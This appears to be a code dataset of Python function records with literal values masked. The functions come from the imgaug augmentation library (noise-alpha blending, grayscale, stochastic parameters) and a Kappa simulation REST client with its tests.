sampled\n          per image from the discrete range ``[a..b]``.\n        * If a list of ints, then a value will be picked per image at\n          random from that list.\n        * If a StochasticParameter, then a value will be sampled from\n          that parameter per image.\n\naggregation_method : imgaug.ALL or str or list of str or imgaug.parameters.StochasticParameter, optional\n    The noise maps (from each iteration) are combined to one noise map\n    using an aggregation process. This parameter defines the method used\n    for that process. Valid methods are ``min``, ``max`` or ``avg``,\n    where ``min`` combines the noise maps by taking the (elementwise) minimum\n    over all iteration's results, ``max`` the (elementwise) maximum and\n    ``avg`` the (elementwise) average.\n\n        * If imgaug.ALL, then a random value will be picked per image from the\n          valid ones.\n        * If a string, then that value will always be used as the method.\n        * If a list of string, then a random value will be picked from\n          that list per image.\n        * If a StochasticParameter, then a random value will be sampled\n          from that paramter per image.\n\nsigmoid : bool or number, optional\n    Whether to apply a sigmoid function to the final noise maps, resulting\n    in maps that have more extreme values (close to 0.0 or 1.0).\n\n        * If bool, then a sigmoid will always (True) or never (False) be\n          applied.\n        * If a number ``p`` with ``0<=p<=1``, then a sigmoid will be applied to\n          ``p`` percent of all final noise maps.\n\nsigmoid_thresh : None or number or tuple of number or imgaug.parameters.StochasticParameter, optional\n    Threshold of the sigmoid, when applied. Thresholds above zero\n    (e.g. 5.0) will move the saddle point towards the right, leading to\n    more values close to 0.0.\n\n        * If None, then ``Normal(0, 5.0)`` will be used.\n        * If number, then that threshold will be used for all images.\n        * If tuple of two numbers ``(a, b)``, then a random value will\n          be sampled per image from the range ``[a, b]``.\n        * If StochasticParameter, then a random value will be sampled from\n          that parameter per image.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.SimplexNoiseAlpha(iaa.EdgeDetect(1.0))\n\nDetects per image all edges, marks them in a black and white image and\nthen alpha-blends the result with the original image using simplex noise\nmasks.\n\n>>> aug = iaa.SimplexNoiseAlpha(iaa.EdgeDetect(1.0), upscale_method=\"linear\")\n\nSame as the first example, but uses only (smooth) linear upscaling to\nscale the simplex noise masks to the final image sizes, i.e. no nearest\nneighbour upsampling is used, which would result in rectangles with hard\nedges.\n\n>>> aug = iaa.SimplexNoiseAlpha(iaa.EdgeDetect(1.0), sigmoid_thresh=iap.Normal(10.0, 5.0))\n\nSame as the first example, but uses a threshold for the sigmoid function\nthat is further to the right. This is more conservative, i.e. the generated\nnoise masks will be mostly black (values around 0.0), which means that\nmost of the original images (parameter/branch `second`) will be kept,\nrather than using the results of the augmentation (parameter/branch\n`first`).", "id": "f16296:m1"}
{"signature": "def FrequencyNoiseAlpha(exponent=(-<NUM_LIT:4>, <NUM_LIT:4>), first=None, second=None, per_channel=False,<EOL>size_px_max=(<NUM_LIT:4>, <NUM_LIT:16>), upscale_method=None,<EOL>iterations=(<NUM_LIT:1>, <NUM_LIT:3>), aggregation_method=[\"<STR_LIT>\", \"<STR_LIT>\"],<EOL>sigmoid=<NUM_LIT:0.5>, sigmoid_thresh=None,<EOL>name=None, deterministic=False, random_state=None):", "body": "<EOL>upscale_method_default = iap.Choice([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"], p=[<NUM_LIT>, <NUM_LIT>, <NUM_LIT>])<EOL>sigmoid_thresh_default = iap.Normal(<NUM_LIT:0.0>, <NUM_LIT>)<EOL>noise = iap.FrequencyNoise(<EOL>exponent=exponent,<EOL>size_px_max=size_px_max,<EOL>upscale_method=upscale_method if upscale_method is not None else upscale_method_default<EOL>)<EOL>if iterations != <NUM_LIT:1>:<EOL><INDENT>noise = iap.IterativeNoiseAggregator(<EOL>noise,<EOL>iterations=iterations,<EOL>aggregation_method=aggregation_method<EOL>)<EOL><DEDENT>if sigmoid is False or (ia.is_single_number(sigmoid) and sigmoid <= <NUM_LIT>):<EOL><INDENT>noise = iap.Sigmoid.create_for_noise(<EOL>noise,<EOL>threshold=sigmoid_thresh if sigmoid_thresh is not None else sigmoid_thresh_default,<EOL>activated=sigmoid<EOL>)<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return AlphaElementwise(<EOL>factor=noise, first=first, second=second, per_channel=per_channel,<EOL>name=name, deterministic=deterministic, random_state=random_state<EOL>)<EOL>", "docstring": "Augmenter to alpha-blend two image sources using frequency noise masks.\n\nThe alpha masks are sampled using frequency noise of varying scales,\nwhich can sometimes create large connected blobs of 1s surrounded by 0s\nand other times results in smaller patterns. If nearest neighbour\nupsampling is used, these blobs can be rectangular with sharp edges.\n\ndtype support::\n\n    See ``imgaug.augmenters.blend.AlphaElementwise``.\n\nParameters\n----------\nexponent : number or tuple of number of list of number or imgaug.parameters.StochasticParameter, optional\n    Exponent to use when scaling in the frequency domain.\n    Sane values are in the range -4 (large blobs) to 4 (small patterns).\n    To generate cloud-like structures, use roughly -2.\n\n        * If number, then that number will be used as the exponent for all\n          iterations.\n        * If tuple of two numbers ``(a, b)``, then a value will be sampled\n          per iteration from the range ``[a, b]``.\n        * If a list of numbers, then a value will be picked per iteration\n          at random from that list.\n        * If a StochasticParameter, then a value will be sampled from\n          that parameter per iteration.\n\nfirst : None or imgaug.augmenters.meta.Augmenter or iterable of imgaug.augmenters.meta.Augmenter, optional\n    Augmenter(s) that make up the first of the two branches.\n\n        * If None, then the input images will be reused as the output\n          of the first branch.\n        * If Augmenter, then that augmenter will be used as the branch.\n        * If iterable of Augmenter, then that iterable will be converted\n          into a Sequential and used as the augmenter.\n\nsecond : None or imgaug.augmenters.meta.Augmenter or iterable of imgaug.augmenters.meta.Augmenter, optional\n    Augmenter(s) that make up the second of the two branches.\n\n        * If None, then the input images will be reused as the output\n          of the second branch.\n        * If Augmenter, then that augmenter will be used as the branch.\n        * If iterable of Augmenter, then that iterable will be converted\n          into a Sequential and used as the augmenter.\n\nper_channel : bool or float, optional\n    Whether to use the same factor for all channels (False)\n    or to sample a new value for each channel (True).\n    If this value is a float ``p``, then for ``p`` percent of all images\n    `per_channel` will be treated as True, otherwise as False.\n\nsize_px_max : int or tuple of int or list of int or imgaug.parameters.StochasticParameter, optional\n    The noise is generated in a low resolution environment.\n    This parameter defines the maximum size of that environment (in\n    pixels). The environment is initialized at the same size as the input\n    image and then downscaled, so that no side exceeds `size_px_max`\n    (aspect ratio is kept).\n\n        * If int, then that number will be used as the size for all\n          iterations.\n        * If tuple of two ints ``(a, b)``, then a value will be sampled\n          per iteration from the discrete range ``[a..b]``.\n        * If a list of ints, then a value will be picked per iteration at\n          random from that list.\n        * If a StochasticParameter, then a value will be sampled from\n          that parameter per iteration.\n\nupscale_method : None or imgaug.ALL or str or list of str or imgaug.parameters.StochasticParameter, optional\n    After generating the noise maps in low resolution environments, they\n    have to be upscaled to the input image size. This parameter controls\n    the upscaling method.\n\n        * If None, then either ``nearest`` or ``linear`` or ``cubic`` is picked.\n          Most weight is put on linear, followed by cubic.\n        * If imgaug.ALL, then either ``nearest`` or ``linear`` or ``area`` or ``cubic``\n          is picked per iteration (all same probability).\n        * If string, then that value will be used as the method (must be\n          ``nearest`` or ``linear`` or ``area`` or ``cubic``).\n        * If list of string, then a random value will be picked from that\n          list per iteration.\n        * If StochasticParameter, then a random value will be sampled\n          from that parameter per iteration.\n\niterations : int or tuple of int or list of int or imgaug.parameters.StochasticParameter, optional\n    How often to repeat the simplex noise generation process per\n    image.\n\n        * If int, then that number will be used as the iterations for all\n          images.\n        * If tuple of two ints ``(a, b)``, then a value will be sampled\n          per image from the discrete range ``[a..b]``.\n        * If a list of ints, then a value will be picked per image at\n          random from that list.\n        * If a StochasticParameter, then a value will be sampled from\n          that parameter per image.\n\naggregation_method : imgaug.ALL or str or list of str or imgaug.parameters.StochasticParameter, optional\n    The noise maps (from each iteration) are combined to one noise map\n    using an aggregation process. This parameter defines the method used\n    for that process. Valid methods are ``min``, ``max`` or ``avg``,\n    where 'min' combines the noise maps by taking the (elementwise) minimum\n    over all iteration's results, ``max`` the (elementwise) maximum and\n    ``avg`` the (elementwise) average.\n\n        * If imgaug.ALL, then a random value will be picked per image from the\n          valid ones.\n        * If a string, then that value will always be used as the method.\n        * If a list of string, then a random value will be picked from\n          that list per image.\n        * If a StochasticParameter, then a random value will be sampled\n          from that parameter per image.\n\nsigmoid : bool or number, optional\n    Whether to apply a sigmoid function to the final noise maps, resulting\n    in maps that have more extreme values (close to 0.0 or 1.0).\n\n        * If bool, then a sigmoid will always (True) or never (False) be\n          applied.\n        * If a number ``p`` with ``0<=p<=1``, then a sigmoid will be applied to\n          ``p`` percent of all final noise maps.\n\nsigmoid_thresh : None or number or tuple of number or imgaug.parameters.StochasticParameter, optional\n    Threshold of the sigmoid, when applied. Thresholds above zero\n    (e.g. 5.0) will move the saddle point towards the right, leading to\n    more values close to 0.0.\n\n        * If None, then ``Normal(0, 5.0)`` will be used.\n        * If number, then that threshold will be used for all images.\n        * If tuple of two numbers ``(a, b)``, then a random value will\n          be sampled per image from the range ``[a, b]``.\n        * If StochasticParameter, then a random value will be sampled from\n          that parameter per image.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.FrequencyNoiseAlpha(first=iaa.EdgeDetect(1.0))\n\nDetects per image all edges, marks them in a black and white image and\nthen alpha-blends the result with the original image using frequency noise\nmasks.\n\n>>> aug = iaa.FrequencyNoiseAlpha(first=iaa.EdgeDetect(1.0), upscale_method=\"linear\")\n\nSame as the first example, but uses only (smooth) linear upscaling to\nscale the frequency noise masks to the final image sizes, i.e. no nearest\nneighbour upsampling is used, which would result in rectangles with hard\nedges.\n\n>>> aug = iaa.FrequencyNoiseAlpha(first=iaa.EdgeDetect(1.0), upscale_method=\"linear\", exponent=-2, sigmoid=False)\n\nSame as the previous example, but also limits the exponent to -2 and\ndeactivates the sigmoid, resulting in cloud-like patterns without sharp\nedges.\n\n>>> aug = iaa.FrequencyNoiseAlpha(first=iaa.EdgeDetect(1.0), sigmoid_thresh=iap.Normal(10.0, 5.0))\n\nSame as the first example, but uses a threshold for the sigmoid function\nthat is further to the right. This is more conservative, i.e. the generated\nnoise masks will be mostly black (values around 0.0), which means that\nmost of the original images (parameter/branch `second`) will be kept,\nrather than using the results of the augmentation (parameter/branch\n`first`).", "id": "f16296:m2"}
{"signature": "@ia.deprecated(alt_func=\"<STR_LIT>\")<EOL>def InColorspace(to_colorspace, from_colorspace=\"<STR_LIT>\", children=None, name=None, deterministic=False,<EOL>random_state=None):", "body": "return WithColorspace(to_colorspace, from_colorspace, children, name, deterministic, random_state)<EOL>", "docstring": "Convert images to another colorspace.", "id": "f16297:m0"}
{"signature": "def Grayscale(alpha=<NUM_LIT:0>, from_colorspace=\"<STR_LIT>\", name=None, deterministic=False, random_state=None):", "body": "if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return ChangeColorspace(to_colorspace=ChangeColorspace.GRAY, alpha=alpha, from_colorspace=from_colorspace,<EOL>name=name, deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Augmenter to convert images to their grayscale versions.\n\nNOTE: Number of output channels is still 3, i.e. this augmenter just \"removes\" color.\n\nTODO check dtype support\n\ndtype support::\n\n    * ``uint8``: yes; fully tested\n    * ``uint16``: ?\n    * ``uint32``: ?\n    * ``uint64``: ?\n    * ``int8``: ?\n    * ``int16``: ?\n    * ``int32``: ?\n    * ``int64``: ?\n    * ``float16``: ?\n    * ``float32``: ?\n    * ``float64``: ?\n    * ``float128``: ?\n    * ``bool``: ?\n\nParameters\n----------\nalpha : number or tuple of number or list of number or imgaug.parameters.StochasticParameter, optional\n    The alpha value of the grayscale image when overlayed over the\n    old image. A value close to 1.0 means, that mostly the new grayscale\n    image is visible. A value close to 0.0 means, that mostly the\n    old image is visible.\n\n        * If a number, exactly that value will always be used.\n        * If a tuple ``(a, b)``, a random value from the range ``a <= x <= b`` will\n          be sampled per image.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, a value will be sampled from the\n          parameter per image.\n\nfrom_colorspace : str, optional\n    The source colorspace (of the input images).\n    Allowed strings are: ``RGB``, ``BGR``, ``GRAY``, ``CIE``, ``YCrCb``, ``HSV``, ``HLS``, ``Lab``, ``Luv``.\n    See :func:`imgaug.augmenters.color.ChangeColorspace.__init__`.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.Grayscale(alpha=1.0)\n\ncreates an augmenter that turns images to their grayscale versions.\n\n>>> aug = iaa.Grayscale(alpha=(0.0, 1.0))\n\ncreates an augmenter that turns images to their grayscale versions with\nan alpha value in the range ``0 <= alpha <= 1``. An alpha value of 0.5 would\nmean, that the output image is 50 percent of the input image and 50\npercent of the grayscale image (i.e. 50 percent of color removed).", "id": "f16297:m1"}
{"signature": "def Positive(other_param, mode=\"<STR_LIT>\", reroll_count_max=<NUM_LIT:2>):", "body": "return ForceSign(<EOL>other_param=other_param,<EOL>positive=True,<EOL>mode=mode,<EOL>reroll_count_max=reroll_count_max<EOL>)<EOL>", "docstring": "Converts another parameter's results to positive values.\n\nParameters\n----------\nother_param : imgaug.parameters.StochasticParameter\n    Other parameter which's sampled values are to be\n    modified.\n\nmode : {'invert', 'reroll'}, optional\n    How to change the signs. Valid values are ``invert`` and ``reroll``.\n    ``invert`` means that wrong signs are simply flipped.\n    ``reroll`` means that all samples with wrong signs are sampled again,\n    optionally many times, until they randomly end up having the correct\n    sign.\n\nreroll_count_max : int, optional\n    If `mode` is set to ``reroll``, this determines how often values may\n    be rerolled before giving up and simply flipping the sign (as in\n    ``mode=\"invert\"``). This shouldn't be set too high, as rerolling is\n    expensive.\n\nExamples\n--------\n>>> param = Positive(Normal(0, 1), mode=\"reroll\")\n\nGenerates a normal distribution that has only positive values.", "id": "f16298:m9"}
{"signature": "def Negative(other_param, mode=\"<STR_LIT>\", reroll_count_max=<NUM_LIT:2>):", "body": "return ForceSign(<EOL>other_param=other_param,<EOL>positive=False,<EOL>mode=mode,<EOL>reroll_count_max=reroll_count_max<EOL>)<EOL>", "docstring": "Converts another parameter's results to negative values.\n\nParameters\n----------\nother_param : imgaug.parameters.StochasticParameter\n    Other parameter which's sampled values are to be\n    modified.\n\nmode : {'invert', 'reroll'}, optional\n    How to change the signs. Valid values are ``invert`` and ``reroll``.\n    ``invert`` means that wrong signs are simply flipped.\n    ``reroll`` means that all samples with wrong signs are sampled again,\n    optionally many times, until they randomly end up having the correct\n    sign.\n\nreroll_count_max : int, optional\n    If `mode` is set to ``reroll``, this determines how often values may\n    be rerolled before giving up and simply flipping the sign (as in\n    ``mode=\"invert\"``). This shouldn't be set too high, as rerolling is\n    expensive.\n\nExamples\n--------\n>>> param = Negative(Normal(0, 1), mode=\"reroll\")\n\nGenerates a normal distribution that has only negative values.", "id": "f16298:m10"}
{"signature": "def draw_sample(self, random_state=None):", "body": "return self.draw_samples(<NUM_LIT:1>, random_state=random_state)[<NUM_LIT:0>]<EOL>", "docstring": "Draws a single sample value from this parameter.\n\nParameters\n----------\nrandom_state : None or numpy.random.RandomState, optional\n    A random state to use during the sampling process.\n    If None, the libraries global random state will be used.\n\nReturns\n-------\nany\n    A single sample value.", "id": "f16298:c0:m1"}
{"signature": "def draw_samples(self, size, random_state=None):", "body": "<EOL>random_state = random_state if random_state is not None else ia.current_random_state()<EOL>samples = self._draw_samples(<EOL>size if not ia.is_single_integer(size) else tuple([size]),<EOL>random_state)<EOL>ia.forward_random_state(random_state)<EOL>return samples<EOL>", "docstring": "Draws one or more sample values from the parameter.\n\nParameters\n----------\nsize : tuple of int or int\n    Number of sample values by dimension.\n\nrandom_state : None or np.random.RandomState, optional\n    A random state to use during the sampling process.\n    If None, the libraries global random state will be used.\n\nReturns\n-------\nsamples : iterable\n    Sampled values. Usually a numpy ndarray of basically any dtype,\n    though not strictly limited to numpy arrays. Its shape is expected to\n    match `size`.", "id": "f16298:c0:m2"}
{"signature": "def copy(self):", "body": "return copy_module.copy(self)<EOL>", "docstring": "Create a shallow copy of this parameter.\n\nReturns\n-------\nimgaug.parameters.StochasticParameter\n    Shallow copy.", "id": "f16298:c0:m18"}
{"signature": "def deepcopy(self):", "body": "return copy_module.deepcopy(self)<EOL>", "docstring": "Create a deep copy of this parameter.\n\nReturns\n-------\nimgaug.parameters.StochasticParameter\n    Deep copy.", "id": "f16298:c0:m19"}
{"signature": "def draw_distribution_graph(self, title=None, size=(<NUM_LIT:1000>, <NUM_LIT:1000>), bins=<NUM_LIT:100>):", "body": "<EOL>import matplotlib.pyplot as plt<EOL>points = []<EOL>for _ in sm.xrange(size[<NUM_LIT:0>]):<EOL><INDENT>points.append(self.draw_samples(size[<NUM_LIT:1>:]).flatten())<EOL><DEDENT>points = np.concatenate(points)<EOL>fig = plt.figure()<EOL>fig.add_subplot(<NUM_LIT>)<EOL>ax = fig.gca()<EOL>heights, bins = np.histogram(points, bins=bins)<EOL>heights = heights / sum(heights)<EOL>ax.bar(bins[:-<NUM_LIT:1>], heights, width=(max(bins) - min(bins))/len(bins), color=\"<STR_LIT>\", alpha=<NUM_LIT>)<EOL>if title is None:<EOL><INDENT>title = str(self)<EOL><DEDENT>if title is not False:<EOL><INDENT>title_fragments = [title[i:i+<NUM_LIT:50>] for i in sm.xrange(<NUM_LIT:0>, len(title), <NUM_LIT:50>)]<EOL>ax.set_title(\"<STR_LIT:\\n>\".join(title_fragments))<EOL><DEDENT>fig.tight_layout(pad=<NUM_LIT:0>)<EOL>with tempfile.NamedTemporaryFile(suffix=\"<STR_LIT>\") as f:<EOL><INDENT>fig.savefig(f.name)<EOL>data = imageio.imread(f)[..., <NUM_LIT:0>:<NUM_LIT:3>]<EOL><DEDENT>plt.close()<EOL>return data<EOL>", "docstring": "Generate a plot (image) that shows the parameter's distribution of\nvalues.\n\nParameters\n----------\ntitle : None or False or str, optional\n    Title of the plot. None is automatically replaced by a title\n    derived from ``str(param)``. If set to False, no title will be\n    shown.\n\nsize : tuple of int\n    Number of points to sample. This is always expected to have at\n    least two values. The first defines the number of sampling runs,\n    the second (and further) dimensions define the size assigned\n    to each :func:`imgaug.parameters.StochasticParameter.draw_samples`\n    call. E.g. ``(10, 20, 15)`` will lead to ``10`` calls of\n    ``draw_samples(size=(20, 15))``. The results will be merged to a single 1d array.\n\nbins : int\n    Number of bins in the plot histograms.\n\nReturns\n-------\ndata : (H,W,3) ndarray\n    Image of the plot.", "id": "f16298:c0:m20"}
{"signature": "@staticmethod<EOL><INDENT>def create_for_noise(other_param, threshold=(-<NUM_LIT:10>, <NUM_LIT:10>), activated=True):<DEDENT>", "body": "return Sigmoid(other_param, threshold, activated, mul=<NUM_LIT:20>, add=-<NUM_LIT:10>)<EOL>", "docstring": "Creates a Sigmoid that is adjusted to be used with noise parameters,\ni.e. with parameters which's output values are in the range [0.0, 1.0].\n\nParameters\n----------\nother_param : imgaug.parameters.StochasticParameter\n    See :func:`imgaug.parameters.Sigmoid.__init__`.\n\nthreshold : number or tuple of number or iterable of number or imgaug.parameters.StochasticParameter,\\\n            optional\n    See :func:`imgaug.parameters.Sigmoid.__init__`.\n\nactivated : bool or number, optional\n    See :func:`imgaug.parameters.Sigmoid.__init__`.\n\nReturns\n-------\nSigmoid\n    A sigmoid adjusted to be used with noise.", "id": "f16298:c25:m1"}
{"signature": "def find_path(top_dir, fname, force_type=None):", "body": "for dirpath, sub_dirs, file_contents in walk(top_dir):<EOL><INDENT>if fname in file_contents and not force_type == '<STR_LIT>':<EOL><INDENT>return path.join(dirpath, fname)<EOL><DEDENT>elif fname in sub_dirs and not force_type == '<STR_LIT:file>':<EOL><INDENT>return path.join(dirpath, fname)<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Find the path a given file somewhere bellow the top_dir.", "id": "f16371:m0"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self.websim = find_websim()<EOL>self.key = self.generate_key()<EOL>self.port = <NUM_LIT><EOL>self.endpoint = \"<STR_LIT>\".format(self.port)<EOL>return super(RestClientTest, self).__init__(*args, **kwargs)<EOL>", "docstring": "Initalize test by launching kappa server", "id": "f16372:c0:m0"}
{"signature": "def _mark_log_file(self, msg):", "body": "with open('<STR_LIT>', '<STR_LIT:a>') as logfile:<EOL><INDENT>logfile.write(\"<STR_LIT:->\"*<NUM_LIT> + '<STR_LIT:\\n>')<EOL>logfile.write('<STR_LIT>' % (msg, datetime.now()))<EOL>logfile.write(\"<STR_LIT:->\"*<NUM_LIT> + '<STR_LIT:\\n>')<EOL><DEDENT>return<EOL>", "docstring": "A convenience method to mark sections of a continuous log file.", "id": "f16372:c0:m1"}
{"signature": "def setUp(self):", "body": "print(\"<STR_LIT>\")<EOL>self._mark_log_file('<STR_LIT>')<EOL>Popen([<EOL>self.websim,<EOL>'<STR_LIT>', self.key,<EOL>'<STR_LIT>', str(self.port),<EOL>'<STR_LIT>', '<STR_LIT:info>',  <EOL>'<STR_LIT>', '<STR_LIT>'<EOL>])<EOL>sleep(<NUM_LIT:1>)<EOL>print(\"<STR_LIT>\")<EOL>return<EOL>", "docstring": "Set up unit test by launching client\n\n        Note: This is run automatically by nosetests before EACH test method,\n        so there is no object permanence between tests.", "id": "f16372:c0:m2"}
{"signature": "def tearDown(self):", "body": "runtime = self.getRuntime(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>resp = runtime.shutdown(self.key)<EOL>self._mark_log_file('<STR_LIT>')<EOL>sleep(<NUM_LIT:1>)<EOL>print(\"<STR_LIT>\", resp)<EOL>return<EOL>", "docstring": "Tear down test by shutting down.\n\n        Note: This is run automatically by nosetests afer EACH test method,\n        so there is no object permanence between tests.", "id": "f16372:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def generate_key(cls):<DEDENT>", "body": "return '<STR_LIT>'.join(random.<EOL>SystemRandom().<EOL>choice(string.ascii_uppercase + string.digits)<EOL>for _ in range(<NUM_LIT:100>))<EOL>", "docstring": "Generate random key for kappa server.", "id": "f16372:c0:m5"}
{"signature": "def _get(self, sub_url=None, data=None):", "body": "return self._dispatch('<STR_LIT:GET>', sub_url, data)<EOL>", "docstring": "Thin wrapper around _dispatch function using method GET", "id": "f16375:c0:m3"}
{"signature": "def _post(self, sub_url=None, data=None):", "body": "return self._dispatch(\"<STR_LIT:POST>\", sub_url, data)<EOL>", "docstring": "Thin wrapper around _dispatch function using method POST", "id": "f16375:c0:m4"}
{"signature": "def _delete(self, sub_url=None, data=None):", "body": "return self._dispatch(\"<STR_LIT>\", sub_url, data)<EOL>", "docstring": "Thin wrapper around _dispatch function using method DELETE", "id": "f16375:c0:m5"}
{"signature": "def _put(self, sub_url=None, data=None):", "body": "return self._dispatch(\"<STR_LIT>\", sub_url, data)<EOL>", "docstring": "Thin wrapper around _dispatch function using method PUT", "id": "f16375:c0:m6"}
{"signature": "def in_project(self, *elements):", "body": "return path.join('<STR_LIT>', self.project_id, *elements)<EOL>", "docstring": "Method to ease navigating the path structure within a project.", "id": "f16375:c0:m7"}
{"signature": "def shutdown(self, key):", "body": "parse_url = \"<STR_LIT>\".format(self.url)<EOL>try:<EOL><INDENT>r = request(\"<STR_LIT:POST>\", parse_url, data=key.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>except exceptions.HTTPError as exception:<EOL><INDENT>raise KappaError(exception.reason)<EOL><DEDENT>if r.status_code == <NUM_LIT:200>:<EOL><INDENT>return r.text<EOL><DEDENT>elif r.status_code == <NUM_LIT>:<EOL><INDENT>print(r.text, r.reason)<EOL>raise KappaError(r.text)<EOL><DEDENT>elif r.status_code == <NUM_LIT>:<EOL><INDENT>raise KappaError(r.text)<EOL><DEDENT>else:<EOL><INDENT>raise KappaError(r.reason)<EOL><DEDENT>", "docstring": "Shut down kappa instance.\n\n        Given a key to a kappa service shutdown a running kappa instance.", "id": "f16375:c0:m8"}
{"signature": "def get_info(self):", "body": "return self._get()<EOL>", "docstring": "Get a json dict with info about the kappa server.", "id": "f16375:c0:m9"}
{"signature": "def _project_create(self):", "body": "return self._post('<STR_LIT>', {\"<STR_LIT>\": self.project_id})<EOL>", "docstring": "Create this project with given.", "id": "f16375:c0:m10"}
{"signature": "def project_info(self):", "body": "return self._get('<STR_LIT>')<EOL>", "docstring": "Get json with info about all the projects.", "id": "f16375:c0:m11"}
{"signature": "def _project_delete(self):", "body": "return self._delete(self.in_project())<EOL>", "docstring": "Delete this project.\n\n        Note that the project can still be recreated with `project_create`\n        method. The effect of these two commands would be to clear the project.", "id": "f16375:c0:m12"}
{"signature": "@classmethod<EOL><INDENT>def from_metadata_list(cls, metadata_list):<DEDENT>", "body": "return map(lambda info: cls(**info), metadata_list)<EOL>", "docstring": "Get metadata objects from a list of metadata.", "id": "f16376:c0:m1"}
{"signature": "def toJSON(self):", "body": "return {\"<STR_LIT:id>\": self.id,<EOL>\"<STR_LIT>\": self.compile,<EOL>\"<STR_LIT>\": self.position,<EOL>\"<STR_LIT:version>\": self.version}<EOL>", "docstring": "Get a json dict of the attributes of this object.", "id": "f16376:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_string(cls, content, position=<NUM_LIT:1>, file_id=None):<DEDENT>", "body": "if file_id is None:<EOL><INDENT>file_id = '<STR_LIT>'<EOL><DEDENT>return cls(FileMetadata(file_id, position), content)<EOL>", "docstring": "Convenience method to create a file from a string.\n\nThis file object's metadata will have the id 'inlined_input'.\n\nInputs\n------\ncontent -- the content of the file (a string).\nposition -- (default 1) rank among all files of the model while parsing\n    see FileMetadata\nfile_id -- (default 'inlined_input') the file_id that will be used by\n    kappa.", "id": "f16376:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_file(cls, fpath, position=<NUM_LIT:1>, file_id=None):<DEDENT>", "body": "if file_id is None:<EOL><INDENT>file_id = fpath<EOL><DEDENT>with open(fpath) as f:<EOL><INDENT>code = f.read()<EOL>file_content = str(code)<EOL>file_metadata = FileMetadata(file_id, position)<EOL>return cls(file_metadata, file_content)<EOL><DEDENT>", "docstring": "Convience method to create a kappa file object from a file on disk\n\nInputs\n------\nfpath -- path to the file on disk\nposition -- (default 1) rank among all files of the model while parsing\n    see FileMetadata\nfile_id -- (default = fpath) the file_id that will be used by kappa.", "id": "f16376:c1:m2"}
{"signature": "def toJSON(self):", "body": "return {\"<STR_LIT>\": self.file_metadata.toJSON(),<EOL>\"<STR_LIT:content>\": self.file_content}<EOL>", "docstring": "Get a JSON dict of the data in this file.", "id": "f16376:c1:m3"}
{"signature": "def get_file_id(self):", "body": "return self.file_metadata.id<EOL>", "docstring": "Get the id of the file from the metadata.", "id": "f16376:c1:m4"}
{"signature": "def get_content(self):", "body": "return self.file_content<EOL>", "docstring": "Get the file's contents.", "id": "f16376:c1:m5"}
{"signature": "@classmethod<EOL><INDENT>def _fix_docs(this_abc, child_class):<DEDENT>", "body": "<EOL>if sys.version_info >= (<NUM_LIT:3>, <NUM_LIT:5>):<EOL><INDENT>return child_class<EOL><DEDENT>if not issubclass(child_class, this_abc):<EOL><INDENT>raise KappaError('<STR_LIT>')<EOL><DEDENT>for name, child_func in vars(child_class).items():<EOL><INDENT>if callable(child_func) and not child_func.__doc__:<EOL><INDENT>if name in this_abc.__abstractmethods__:<EOL><INDENT>parent_func = getattr(this_abc, name)<EOL>child_func.__doc__ = parent_func.__doc__<EOL><DEDENT><DEDENT><DEDENT>return child_class<EOL>", "docstring": "Make api method docs inheritted.\n\n        Specifically, insepect.getdoc will return values inheritted from this\n        abc for standardized api methods.", "id": "f16376:c5:m1"}
{"signature": "def add_model_string(self, model_str, position=<NUM_LIT:1>, file_id=None):", "body": "if file_id is None:<EOL><INDENT>file_id = self.make_unique_id('<STR_LIT>')<EOL><DEDENT>ret_data = self.file_create(File.from_string(model_str, position,<EOL>file_id))<EOL>return ret_data<EOL>", "docstring": "Add a kappa model given in a string to the project.", "id": "f16376:c5:m3"}
{"signature": "def add_model_file(self, model_fpath, position=<NUM_LIT:1>, file_id=None):", "body": "if file_id is None:<EOL><INDENT>file_id = self.make_unique_id('<STR_LIT>')<EOL><DEDENT>ret_data = self.file_create(File.from_file(model_fpath, position,<EOL>file_id))<EOL>return ret_data<EOL>", "docstring": "Add a kappa model from a file at given path to the project.", "id": "f16376:c5:m4"}
{"signature": "def set_default_sim_param(self, *args, **kwargs):", "body": "if len(args) is <NUM_LIT:1> and isinstance(args[<NUM_LIT:0>], SimulationParameter):<EOL><INDENT>self.__default_param = args[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>self.__default_param = SimulationParameter(*args, **kwargs)<EOL><DEDENT>return<EOL>", "docstring": "Set the simulation default simulation parameters.\n\n        You can pass one of two things in as input:\n        - a kappa_common.SimulationParameter instance\n        - the arguments and keyword argument to create such an instance.\n\n        The parameters you specify will be used by default in simulations run\n        by this client.", "id": "f16376:c5:m5"}
{"signature": "def get_default_sim_param(self):", "body": "if self.__default_param is None:<EOL><INDENT>raise KappaError(\"<STR_LIT>\")<EOL><DEDENT>return self.__default_param<EOL>", "docstring": "Get the default SimulationParameter instance.", "id": "f16376:c5:m6"}
